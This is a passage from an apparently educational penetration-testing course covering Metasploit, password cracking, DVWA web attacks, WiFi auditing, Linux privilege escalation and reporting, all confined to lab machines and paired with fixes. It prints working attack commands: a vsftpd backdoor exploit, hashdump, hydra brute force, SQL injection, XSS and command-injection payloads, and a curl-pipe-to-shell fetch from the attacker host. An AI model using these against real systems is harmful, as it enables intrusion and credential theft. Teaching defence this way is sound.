💡 Pro tip: For every finding you log, immediately write one line starting with "Fix:". The habit forces remediation thinking on the spot and roughly halves your Module 12 reporting workload later.
Practice: Choose three CVEs affecting services you enumerated on Metasploitable2 in Module 5. For each, record: the NVD CVSS score and vector string, a one-line impact summary, your verification status (confirmed / banner-only / refuted), and concrete remediation steps. Rank all three in the order you'd instruct a sysadmin to patch them — and justify the order.
07Exploitation Basics▾

🎯 Module goal: Execute one complete, controlled kill-chain against your own lab target and — far more importantly — name the exact defensive control that would have stopped each step. Offense here exists to teach defense.

7.1 Metasploit architecture: modules, payloads, handlers

Metasploit organizes offensive capability into interchangeable parts. Exploits trigger the flaw; payloads define what runs afterwards (a bind shell listens on the target, a reverse shell calls back to you); auxiliary modules scan and fuzz; post modules gather intelligence from owned sessions; encoders reshape payloads past simple filters. The console ties it all together:

msfconsole                      # the main REPL
search vsftpd                   # find matching modules
use exploit/unix/ftp/vsftpd_234_backdoor
show options                    # what must be configured?
set RHOSTS 192.168.56.101       # target — ALWAYS verify this
set LHOST 192.168.56.100        # your Kali IP (for reverse callbacks)

A handler is simply a listener waiting to accept incoming payload connections. Understanding this separation — trigger, aftermath, listener — demystifies every exploitation framework you'll ever encounter.

7.2 Your first lab exploit end-to-end (vsftpd backdoor)

History's friendliest lesson: in 2011 an attacker compromised the vsftpd distribution and shipped version 2.3.4 containing a hidden backdoor — connecting to port 21 with a smiley :) in the username opened a root shell on port 6200. Metasploitable2 deliberately ships this ancient version so students can study it. In your lab:

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
msf6 > set RHOSTS 192.168.56.101
msf6 > run
[*] 192.168.56.101:21 - Banner: 220 (vsFTPd 2.3.4)
[+] Found shell.
cmd = /bin/sh -i

Type id — you're root. Sit with that feeling for a moment, then extract the real lesson: this wasn't skill, it was an unpatched, exposed service with a known fatal flaw. Real attackers automated exactly this at internet scale, which is why unpatched FTP servers make defenders twitch.

7.3 Meterpreter essentials: sessions, hashes, screenshot, migrate

Meterpreter is Metasploit's advanced in-memory payload. Manage sessions like browser tabs:

sessions -l                # list active sessions
sessions -i 1              # interact with session 1
sysinfo ; getuid           # orient yourself first, always
hashdump                   # dump password hashes (needs privileges)
screenshot                 # visual evidence for your report
migrate -N explorer.exe    # move into a more stable process

Each capability maps to a defender's nightmare scenario — and that's exactly why blue teams learn them: detecting hashdump attempts, alerting on suspicious process migration, restricting who can even reach a foothold. Notice the pattern across the commands above: every action has a detection signature. Dumping hashes touches shadow files and credential stores; migrating shows process-injection behavior; screenshots imply interactive access. Blue teams write detection rules against exactly this tooling — which is why red-vs-blue fluency roughly doubles your value on either side of the fence.

7.4 Why exploitation teaches defense: patching, exposure, least privilege

Every successful lab exploit decomposes into absent controls. The vsftpd victory required three failures simultaneously: unpatched software (patch management failed), the service reachable from your attack host (network segmentation/exposure failed), and a daemon running as root unnecessarily (least privilege failed). Any ONE of those controls stops it cold. This decomposition exercise is what makes you valuable: after every lab success, complete the sentence "This would have been prevented by ______." Three such sentences in a row and you're thinking like a security architect instead of a script kiddie.

7.5 Post-exploitation cleanup and snapshot restores

Labs forgive; production shouldn't need forgiveness. In your environment, honest cleanup means restoration — power off the target and revert to its pristine state:

VBoxManage controlvm "Metasploitable2" poweroff
VBoxManage snapshot "Metasploitable2" restore pristine

Note what you changed along the way — accounts touched, files staged, services restarted. Documenting impact is a professional obligation during authorized engagements, and reverting keeps your lab repeatable for the next practice round.

7.6 The 80/20 truth: pentesting is 90% recon/enumeration

Look back at how much of this kill-chain happened before any exploit fired: host discovery, port scanning, version fingerprinting, searchsploit research. Industry veterans joke that exploitation is the reward for good enumeration — and certification exams (eJPT, OSCP) grade accordingly. If Module 5's scan missed that FTP port, no amount of exploit knowledge saves you. Budget lab time accordingly: roughly 70% enumeration, 20% research, 10% pulling the trigger.

⚠️ Common mistake / legal note: Double-check RHOSTS every single time. One typo'd IP and you're launching exploits at a neighbour's printer or a company server — a felony with your name on it. Metasploit neither knows nor cares that you "meant the lab". Verify the IP, verify the network, then run.
💡 Pro tip: After gaining a shell, resist the urge to rampage. Practice the professional sequence instead: stabilize → collect minimal evidence (id, hostname, kernel) → document → exit cleanly → restore snapshot. Discipline under adrenaline is what exams and employers actually test.
Practice: Complete one full kill-chain on Metasploitable2: enumerate from scratch → select and justify one exploit in writing → gain the shell → capture evidence (id, uname -a, hostname) → power off and restore the pristine snapshot. Finish by writing the "would-have-been-prevented-by" defense sentence for each control that was missing on your chosen path.
08Password Attacks (Labs Only)▾

🎯 Module goal: Understand exactly why passwords fail — weak storage, predictable choices, catastrophic reuse — by attacking hashes and services that exist only inside your lab, then translate every observation into concrete defenses you could teach your family.

8.1 Password storage: hashing vs encryption, salts, bcrypt

Well-built systems never store passwords — they store one-way hashes: irreversible fingerprints of the input. Encryption would be a disaster (reversible with the key); hashing means a database thief must still guess inputs to recover anything. A salt — random data mixed into each password before hashing — defeats precomputed rainbow tables by ensuring identical passwords produce different stored hashes. Speed cuts both ways: fast hashes (MD5, SHA-1) let defenders verify logins instantly, which equally lets attackers guess billions per second. Hence deliberately slow, memory-hard algorithms — bcrypt, scrypt, Argon2 — that burn real time on every attempt, for everyone.

On Linux, inspect the /etc/shadow format: $6$salt$hash marks SHA-512-crypt, $2y$ marks bcrypt. The identifier alone tells you how expensive cracking will be — reading it is free intelligence for both sides.

8.2 John the Ripper on lab-captured hashes

John the Ripper merges Linux account files into crackable form. In your lab, use hashes from Metasploitable2 (captured during Module 7) or course-provided sample files:

unshadow passwd.txt shadow.txt > lab-hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt lab-hashes.txt
john --show lab-hashes.txt          # display recovered passwords

Watch the ORDER cracks appear: trivial passwords surface in seconds, decent ones in minutes, strong ones never finish. That gradient IS the lesson — password strength is measured in attacker time, nothing else.

8.3 hashcat modes, GPU concepts, rule-based attacks

hashcat weaponizes GPUs, which excel at massively parallel guessing. Everything hangs on matching the mode number to the hash type:

ModeHash typeSpeed class on modern GPU
-m 0MD5Billions/second — effectively dead as password storage
-m 1800sha512crypt ($6$)Thousands/second — survivable with strong passwords
-m 3200bcrypt ($2y$)Hundreds/second — deliberately painful by design
hashcat -m 0 -a 0 md5.txt /usr/share/wordlists/rockyou.txt
hashcat -m 1800 -a 0 shadow-hashes.txt rockyou.txt
hashcat -m 0 -a 0 -r /usr/share/hashcat/rules/best64.rule md5.txt wordlist.txt

Rule-based attacks apply mutation grammar to wordlists — capitalize, append years, append symbols — mimicking how humans actually vary themes. Mask attacks (?u?l?l?l?d?d?d?d = one uppercase + three lowercase + four digits) target guessed structures. That speed table above is the strongest argument for bcrypt you will ever hold in your hands.

8.4 Wordlist strategy: rockyou, custom masks, why reuse fails

rockyou.txt — 14 million real leaked passwords — remains the industry benchmark because human choices cluster brutally: "password", "123456", "qwerty" top every breach study ever run. Unzip it once:

sudo gunzip /usr/share/wordlists/rockyou.txt.gz

Customization beats brute size: appending an organization's theme words (company name, sports team, project codename) to a base list outperforms raw rockyou on targeted engagements. The deeper lesson is reuse: one breached forum leaks a password that unlocks webmail, then cloud storage, then banking — automated "credential stuffing" replays leaked username/password pairs at massive scale. Nobody hacks your cousin; they buy her reused password from a dump site for two dollars.

8.5 hydra SSH/HTTP brute force against YOUR lab services

Against live services, THC-Hydra tries login combinations over the network — strictly against lab IPs you own:

hydra -l msfadmin -P /usr/share/wordlists/rockyou.txt \
  ssh://192.168.56.101 -t 4

hydra -l admin -P small-list.txt 192.168.56.102 http-post-form \
  "/dvwa/login.php:username=^USER^&password=^PASS^:F=Login failed"

The HTTP syntax reads: path : POST parameters : failure-string. Two observations make this exercise valuable. First, notice how quickly account lockouts or response delays would have throttled this attack — Metasploitable has none, so record that gap as a finding. Second, watch the sheer log noise generated: brute force is the loudest attack in existence, which is why detection teams love catching it.

8.6 Defense: MFA, lockouts, password managers — teach-back

Now invert everything you just did. Multi-factor authentication renders stolen passwords largely useless — enable it everywhere, starting with email. Rate-limiting and exponential lockouts throttle online attacks; Argon2/bcrypt storage throttles offline ones. Password managers make unique 20-character passwords effortless, killing reuse dead. Monitoring failed-auth spikes catches spraying campaigns early. Your final exercise is the teach-back: explain these five defenses to a non-technical friend until they can repeat them back. Security engineers who cannot communicate defenses are half-priced hires.

⚠️ Common mistake / legal note: Cracking anything except lab-provided files or accounts you personally own is illegal — password attacks are the most criminally-charged technique in this entire course. And online brute-forcing generates failures that lock accounts: even "testing" a colleague's login is interference, not curiosity.
💡 Pro tip: Record actual crack times for MD5 vs sha512crypt vs bcrypt on your identical hardware in your notes. Nothing convinces a developer to abandon unsalted MD5 faster than seeing their own benchmark numbers next to each other.
Practice: Using the course-provided sample hash files, crack three hashes (two MD5, one bcrypt) with John or hashcat. Log for each: hash type, mode/mutator used, wall-clock time, winning wordlist or rule. Conclude with a three-row comparison table plus one paragraph answering: "what single storage change would have prevented all of this?"
09Web Application Security▾

🎯 Module goal: Walk the OWASP Top 10 hands-on inside DVWA — detect each flaw class manually, understand the coding failure beneath it, and pair every attack you perform with the secure fix that eliminates it.

9.1 OWASP Top 10 tour with live DVWA examples

The OWASP Top 10 catalogs the web's most consequential flaw classes: broken access control, cryptographic failures, injection, insecure design, security misconfiguration, vulnerable components, authentication failures, integrity failures, logging failures and SSRF. DVWA (Damn Vulnerable Web Application, running at http://192.168.56.102/dvwa in your lab) implements each class with a difficulty selector: Low (naive code), Medium (basic filtering), High (strict filtering) and Impossible (a secure reference implementation — study its source!). Method for every module: exploit the Low level, read WHY it worked via "View Source", then watch the defense evolve through the levels. Flaw classes stop being acronyms and become patterns you'll spot in code reviews forever.

9.2 SQL injection: manual detection, UNION attacks conceptually, sqlmap responsibly

SQLi happens when user input becomes SQL code. DVWA's classic vulnerable User ID field concatenates input straight into a query. Detect manually by injecting a single quote and watching for errors, then logic tests:

1' OR '1'='1            # tautology: returns EVERY row
1' ORDER BY 2-- -       # probe column count (bump until error)
1' UNION SELECT user,password-- -    # smuggle out the users table

UNION attacks work when your SELECT column count matches the original query — conceptually, you attach a second result set to the response. Once manual detection is fluent, automate responsibly against YOUR DVWA only:

sqlmap -u "http://192.168.56.102/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" \
  --cookie="PHPSESSID=xyz; security=low" --batch --tables

The universal cure: parameterized queries / prepared statements — data stays data, never becomes code. Read DVWA's Impossible level to see it implemented correctly.

9.3 XSS types: reflected/stored/DOM with harmless proof payloads

Cross-Site Scripting injects content the victim's BROWSER executes. Reflected: payload travels in the request and echoes into the response. Stored: payload persists (comment boards, profiles) hitting every visitor — the dangerous sibling. DOM-based: client-side JavaScript mishandles URL/location data. The harmless proof-of-work convention is a simple alert box:

<script>alert('lab-proof')</script>
<img src=x onerror=alert(document.domain)>

Never go beyond harmless proof on any asset you don't own. The fixes stack: contextual output encoding, Content-Security-Policy headers, and HttpOnly cookie flags so script execution can't harvest session tokens.

9.4 Command injection and input validation failures

DVWA's exec module shells out to ping using unsanitized input. Concatenation invites concatenation:

127.0.0.1; cat /etc/passwd
127.0.0.1 && ls -la /tmp
127.0.0.1 | whoami

Medium level filters some separators — try alternates like | or newline characters and appreciate why blocklists perpetually lose to allowlists. Root cause is calling the OS from web code; the durable fix is avoiding shells entirely (use language-native networking libraries) or strict format validation of the single expected input shape.

9.5 Broken auth/access control demos in DVWA levels

OWASP's number-one category: the application fails to enforce who-may-do-what, server-side. In DVWA, explore weak captcha logic, predictable session handling, and the Insecure File Upload module accepting a PHP webshell upload — then imagine that on a real file host. The pattern to internalize: authorization decisions belong server-side, on every request. Client-side checks, hidden URLs and disabled buttons are UI decoration, not security. Fix pattern: deny-by-default middleware that verifies identity AND role per request.

9.6 Burp Suite community: proxy, Repeater, intercept workflows

Burp Suite is the web tester's cockpit. Point Firefox's proxy at 127.0.0.1:8080, install Burp's CA certificate, and traffic flows through Intercept where you can pause and modify requests in flight. The killer workflow: send any interesting request to Repeater, then mutate parameters freely — swap id=1 for id=2, toggle cookies, inject quotes — resending instantly without touching the browser. Ten minutes of Repeater teaches request/response mechanics better than a week of tutorials, and it's ninety percent of what professional web testing actually feels like.

9.7 Secure fixes for each flaw — always pair attack with remedy

Your lab notebook should now contain paired rows: injection → parameterized queries; XSS → output encoding + CSP; command injection → no shell calls + allowlists; broken access control → server-side per-request authorization; unsafe uploads → extension/type/content validation outside the webroot; weak crypto → modern algorithms + MFA. Interviewers increasingly probe for exactly this dual literacy: can you break it AND specify the fix? Attack knowledge without remediation knowledge is half an employee.

⚠️ Common mistake / legal note: Every technique here applies to DVWA or applications you own — nothing else. Testing a public website "just to see if it's vulnerable" without authorization is illegal, and people have absolutely been arrested with exactly this tooling in their backpacks.
💡 Pro tip: After solving any DVWA module at Low, open View Source and read the Impossible-level implementation immediately. Seeing secure code seconds after exploiting naive code doubles retention — attack and defense cemented in one glance.
Practice: Solve DVWA's SQLi, Reflected XSS, Command Injection and File Upload modules at Low AND Medium difficulty. Then write a one-page fix recommendation per vulnerability class: root cause, secure alternative (with a short code sketch from the Impossible source), and compensating controls (WAF rules, logging). This document is exactly what you'd hand a development team.
10Wireless Security Basics▾

🎯 Module goal: Understand how WiFi security actually works — encryption generations, handshake math, rogue access points — well enough to audit and harden a network you OWN, while keeping every attack concept firmly in theory-only territory.

10.1 WiFi encryption evolution: WEP→WPA/WPA2→WPA3

Wireless security evolved through three eras. WEP (1999) is cryptographically dead — flawed initialization-vector recycling made keys recoverable within minutes; it survives only as a museum exhibit and a compliance red flag. WPA was the emergency patch (TKIP), superseded by WPA2 with AES-CCMP — the workhorse protecting virtually every network since 2006, though vulnerable to offline dictionary attacks against weak passphrases (and to the KRACK bug, patched in 2017). WPA3 adds the SAE handshake, which resists offline guessing entirely: captured traffic can't be tested against dictionary guesses at home, and forward secrecy protects past captures even if the passphrase later leaks. Practical takeaway: anything below WPA2-AES on a network you administer is an incident waiting to be filed.

10.2 Aircrack-ng suite flow on YOUR OWN test router/hotspot

The aircrack-ng suite demonstrates the classic wireless workflow. Absolute precondition: the network is yours — your own router or phone hotspot, in your own space. Telecom laws in most countries specifically prohibit attacking radio networks you don't own, "just testing" included; radio signals crossing property lines does not extend authorization across them.

sudo airmon-ng check kill        # pause interfering processes
sudo airmon-ng start wlan0       # create monitor interface
sudo airodump-ng wlan0mon        # survey: BSSIDs, channels, encryption
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w labcap wlan0mon
aircrack-ng -w /usr/share/wordlists/rockyou.txt labcap-01.cap

What this flow teaches: monitoring is passive observation, capturing waits for a client handshake, then offline guessing runs at leisure. Against WPA2 with a 20-character random passphrase, that final step fails forever — which is the entire defensive point of strong passphrases.

10.3 Handshake capture concept; why WPS is risky

When a client joins a WPA2 network, a four-way handshake proves both sides derive the same key from the passphrase — WITHOUT ever transmitting it. But an eavesdropper who captures the handshake holds offline-verifiable material: every dictionary guess can be checked silently on their own hardware. Hence passphrase entropy is everything; length beats cleverness. Separately, WPS (push-button pairing) suffers the Pixie-Dust flaw in many vendor implementations: the PIN protocol leaks enough mathematics to recover credentials in minutes, bypassing your beautiful passphrase entirely. Disable WPS in your router's admin panel today — it buys convenience nobody needs at a price everybody pays.

Modern defenses blunt this offline-guessing game entirely. WPA3-SAE forces each guess into a rate-limited online round trip instead of silent home-lab cracking; Protected Management Frames block the forged deauthentication frames that accelerate handshake capture; and enterprise 802.1X swaps shared passphrases for per-user credentials that can be revoked individually. When you audit your own router, switch on every one of these that its firmware offers — the admin settings page is where wireless security is actually won or lost.

10.4 Rogue AP / evil twin awareness (theory + defense)

An evil twin is a counterfeit access point broadcasting a trusted-looking SSID ("Airport_Free_WiFi") to intercept traffic or phish captive-portal credentials. You should understand the mechanics conceptually — consumer hardware suffices, and phones auto-join remembered network names — while practicing DEFENSE, never offense: enterprise networks fight twins with 802.1X certificate validation (clients verify the NETWORK itself, not just a shared password), WPA3's improved protections, VPNs on any untrusted network, and user training that treats unexpected captive portals with suspicion. Knowing the attack exists is most of the defense; that awareness is what you carry out of this module.

10.5 Enterprise WiFi hardening checklist

Consolidate everything into the checklist auditors actually use:

  • WPA3-SAE where supported; WPA2-AES (CCMP) minimum — never WEP, never TKIP
  • Passphrases 16+ characters, randomly generated, rotated when staff leave
  • WPS disabled physically and in firmware
  • Guest and IoT devices isolated on separate SSIDs/VLANs — no lateral reach into business systems
  • Protected Management Frames (PMF/802.11w) enabled where available
  • Default admin credentials changed; admin panel unreachable over the air
  • Periodic rogue-AP surveys of your premises (even manual airodump sweeps count)
⚠️ Common mistake / legal note: Deauthentication attacks and handshake grabs against neighbours' networks, cafés or workplaces are illegal in most jurisdictions and unethical everywhere. Own the air you test: your router, your hotspot, your lab — nothing else, ever.
💡 Pro tip: "Hidden SSID" and MAC filtering feel protective but stop nobody determined — both fall to passive sniffing and trivial spoofing. Spend the effort on passphrase entropy and WPA3 instead; that's where real resistance lives.
Practice: Audit your own home hotspot or router: log into its admin panel and record encryption standard, passphrase length and entropy estimate, WPS status, firmware currency, guest-network separation and admin-panel exposure. Produce a one-page hardening report with before/after recommendations — and actually apply one fix (disabling WPS is the classic quick win).
11Privilege Escalation Concepts▾

🎯 Module goal: Learn why a low-privilege shell is merely halftime — master the classic Linux escalation vectors on lab machines, and map every vector you use to the sysadmin fix that closes it permanently.

11.1 Why privesc matters: shells ≠ ownership

Most initial footholds land you as a mundane user — www-data, msfadmin, daemon — able to read little and write less. Privilege escalation is the pivot from "visitor" to "owner" (root), and it's where defenders should focus their anxiety: everything valuable — credential databases, configuration secrets, persistence mechanisms — requires root. The defensive inversion is containment: assume compromise WILL happen and make the climb impossible. Every vector below is a place where that climb was accidentally left unlocked by a well-meaning administrator.

11.2 Linux SUID hunting, sudo misconfigs, cron jobs, PATH abuse

Four vectors cover most real-world Linux escalations. First, SUID binaries execute with the file OWNER's privileges regardless of who launches them — legitimate for passwd, catastrophic when stray copies linger:

find / -perm -4000 -type f 2>/dev/null       # all SUID binaries
find / -perm -4000 -user root 2>/dev/null | sort

Compare results against the GTFOBins database — a curated catalog of binaries abusable for shell-spawning when misconfigured. Second, sudo misconfigurations:

sudo -l        # what MAY this user run as root?

NOPASSWD entries on interactive programs (vim, find, less, tar...) are free root escapes; GTFOBins documents each one. Third, cron jobs running as root but executing world-WRITABLE scripts inherit whatever anyone writes into them:

cat /etc/crontab ; ls -la /etc/cron*
find / -writable -type f 2>/dev/null | grep -i cron

Fourth, PATH abuse: a root-run script calling unqualified binaries (systemctl instead of /usr/bin/systemctl) executes whichever copy appears first in PATH — attacker-writable directories included. All four vectors share one root cause: permission boundaries configured by optimistic humans.

A fifth vector worth checking on modern systems: Linux file capabilities, which grant fine-grained privileges without SUID bits — and get forgotten by administrators just as easily:

getcap -r / 2>/dev/null

11.3 linPEAS/LinEnum assisted discovery on lab boxes

Manual enumeration teaches; automation scales. linPEAS and LinEnum sweep dozens of checks — SUIDs, sudo rules, cron entries, capabilities, writable configs, juicy files — and color-code likely wins:

# on Kali (serve the script):
python3 -m http.server 8000
# on lab target (fetch and run):
curl http://192.168.56.100:8000/linpeas.sh | sh

Triage output like an analyst, not a tourist: prioritize anything flagged highly suspicious, verify each claim manually (automation false-positives too), and understand every finding before acting on it. Tool output you can't explain impresses nobody in a debrief.

Methodology matters more than tool output. Run discovery in cost order: cheap identity checks first (id, sudo -l), then filesystem-wide permission hunts, then automated sweeps last. Document negative results too — "checked cron, nothing world-writable" is evidence of diligence, and it stops you re-checking dead ends during timed certification exams.

11.4 Mitigation mapping each vector to sysadmin fix

The exercise that turns offense into employability — pair every vector with its fix and write both into your notes:

  • Stray SUID binaries → scheduled audits diffing find -perm -4000 against a known-good baseline; strip SUID wherever functionality allows
  • Sudo sprawl → least privilege; name specific commands rather than wildcards; no NOPASSWD on interpreters or pagers
  • Cron abuse → root cron scripts owned by root with 750 permissions; absolute paths everywhere; strict cron.deny hygiene
  • PATH injection → absolute binary paths inside privileged scripts; scrub environments in cron/systemd contexts

This mapping reflex — "here's the hole, here's the patch" — is precisely what Module 12's reports and real job interviews reward.

11.5 Kernel exploit awareness (identify, never run blindly)

Ancient kernels harbor public privilege-escalation exploits (the Dirty Cow era, assorted 2.6/3.x bugs). Professional behavior is identification only:

uname -a                          # kernel version + build date
searchsploit linux kernel 2.6 local privilege

Understand what exists, note it as a finding, recommend patching — then stop. Resist running random kernel PoCs even in labs: they crash machines unpredictably, some contain deliberate sabotage, and "identify and advise" is what the job actually pays for. If a demonstration is unavoidable for learning, snapshot first and treat every kernel exploit as a patch-management finding, not a trophy.

⚠️ Common mistake / legal note: Kernel exploits can hard-crash a VM mid-write — snapshot before experimenting. In production contexts, running unvetted kernel PoCs on client systems without explicit Rules-of-Engagement approval can void contracts and cause outages you'll be apologizing for in writing.
💡 Pro tip: Bookmark GTFOBins (Linux) and LOLBAS (Windows). Half of privilege escalation is recognizing that a legitimately-powerful utility is being invoked in an illegitimately-permissive way.
Practice: On one vulnerable lab VM (Metasploitable2 works), achieve root through TWO different misconfigurations (e.g., one SUID path and one sudo/cron path), documenting every command sequence. Then switch roles to sysadmin: patch BOTH misconfigurations, verify your own escalation now fails, and snapshot the hardened state as your new baseline.
12Reporting & Career Path▾

🎯 Module goal: Convert twelve modules of lab skill into career assets — a report format hiring managers recognize, a portfolio that proves you, a realistic certification ladder, and the community presence that keeps you legal, sharp and employed.

12.1 Anatomy of professional pentest reports: exec summary→technical detail

The report is the product — clients pay for comprehension, not shell screenshots. The standard skeleton: (1) Executive Summary — one page, business language, the three findings that matter and what they put at risk, zero jargon; (2) Scope & Methodology — what was tested, when, with which tools, under whose written authorization; (3) Findings — each with title, severity, affected asset, description, sanitized evidence, step-by-step reproduction and remediation; (4) Appendices — raw tool output, glossary. You're writing for two readers simultaneously: a CFO who reads only page one, and an engineer who reproduces finding #4 line by line. The discipline trick professionals use: draft findings DURING the engagement from your Module 4–11 notes, never from memory afterward.

12.2 Risk ratings: likelihood × impact language for management

CVSS measures technical severity; businesses think in likelihood × impact. "Critical 9.8" translates to: "likely exploited within weeks because exploit code is public; impact is full customer-database exposure with regulatory consequences." Build a simple matrix into your write-ups — rate likelihood High/Medium/Low, impact likewise — and justify each placement in one sentence. The skill interviewers actually probe: saying "this matters because revenue/legal/safety" instead of "because the scanner said 9". Practice converting every lab finding into a business-risk sentence; it feels awkward for a week, then becomes your unfair advantage.

12.3 Building your lab write-up portfolio (GitHub + blog)

Nobody hires "I did a course"; everybody interviews "walk me through your write-up". Convert this entire lab journey into public artifacts: a GitHub repository of markdown walkthroughs covering DVWA modules, Metasploitable kill-chains and privilege-escalation comparisons; optionally a simple blog mirroring them. Quality bar: consistent structure (objective → methodology → steps → evidence → lessons → defenses), sanitized screenshots showing nothing but lab IPs, and honest "what stumped me" sections — recruiters read those as maturity markers. Three polished write-ups outweigh thirty unfinished notes; depth signals competence in this industry.

12.4 Certification ladder deep-dive: eJPT → Security+ → OSCP costs/expectations

CertificationFormatApprox. cost*Honest expectation
eJPT (INE Security)Hands-on 48-hour lab exam~$250The perfect first win; maps directly onto Modules 1–9 of this course
Security+ (CompTIA)Multiple-choice proctored exam~$400HR-filter buster; theory-heavy; pairs well with SOC-track applications
OSCP (OffSec)24-hour practical exam + report~$1,600+The pentest credibility card; expect 6–12 months of dedicated lab prep

*Check current vendor pricing — it shifts regularly. Sensible pacing: eJPT right after finishing this roadmap; Security+ in parallel if HR filters dominate your local market; OSCP only after months of TryHackMe/HackTheBox practice — jumping early burns money on retake fees and morale alike.

12.5 Job roles: SOC analyst, junior pentester, vuln analyst — day-in-life

Three common entry doors, each worth understanding before you choose. A SOC analyst triages security alerts in a SIEM, investigates phishing reports and escalates incidents — pattern recognition under time pressure, and the best networking education in the industry. A junior pentester runs scoped scans under supervision, drafts findings and learns report craft — expect heavy enumeration and heavier writing. A vulnerability analyst manages scanner fleets, deduplicates and validates findings, tracks remediation to closure — quiet, systematic, deeply employable. Shadow all three via day-in-the-life videos and community AMAs before committing; your Module 4–6 skills serve every one of these paths.

12.6 Communities worth joining; staying legal & employed

Growth compounds socially. Join TryHackMe and HackTheBox Discords for lab help, OWASP chapter meetings for web-security depth, BSides conferences (affordable, welcoming, genuinely hiring-friendly), local DEF CON groups, and r/cybersecurity for career chatter. Two survival rules govern membership. First, stay legal publicly and privately: employers terminate for off-hours hacking convictions, and communities quietly ostracize members caught targeting outsiders — your reputation is your resume's immune system. Second, contribute before extracting: answering beginners' questions cements your own fundamentals and builds the referral network that gets resumes read. The hacker community remembers both the helpful and the careless — choose deliberately which memory you're building.

⚠️ Common mistake / legal note: Never publish client engagement details without explicit written permission — NDAs are enforced, and "anonymized" screenshots with visible hostnames have ended careers. Publish labs, CTF solutions and your OWN original research only.
💡 Pro tip: Apply for SOC analyst roles NOW, mid-study. Entry-level SOC interviews reward exactly what you're building — Linux fluency, networking fundamentals, tool familiarity, demonstrated curiosity — and working analysts get lab time, mentorship and training budgets that accelerate everything else on this list.
Final boss: Publish three polished lab write-ups online (GitHub or blog), each following the 12.1 report skeleton: executive summary, methodology, sanitized evidence, reproduction steps, remediation, lessons learned. Cover one DVWA vulnerability deep-dive, one full Metasploitable kill-chain, and one privilege-escalation comparison. This portfolio is the exact artifact junior-pentester hiring managers ask about — build it once, update it forever.
FAQ

Common Questions

Is learning this legal? Really?
Yes — installing Kali, studying attacks conceptually and practicing on your own VMs or authorized platforms (TryHackMe/HackTheBox/DVWA) is completely legal. Unauthorized access to any system you don't own isn't practice — it's crime. Module 0 makes the boundaries crystal clear.
My laptop has 4GB RAM. Can I still do this?
Yes with tuning: lightweight Xfce Kali, 1.5–2GB per VM, one target at a time. 8GB is comfortable; cloud labs (browser-based TryHackMe rooms) need zero local resources.
Do I need to code?
Not until Module 12's career prep. Basic Python scripting (see our Python track) dramatically boosts your value from month three onward.
OSCP right after this?
Realistic ladder: finish this roadmap → eJPT (confidence) → 6+ months of THM/HTB practice → OSCP. Jumping straight to OSCP burns money on re-attempts.

The Lab Awaits. Stay Legal. Go Deep.

Download VirtualBox tonight — Module 1 starts the moment your first VM boots.

Start With Module 0 Add networking depth 🌐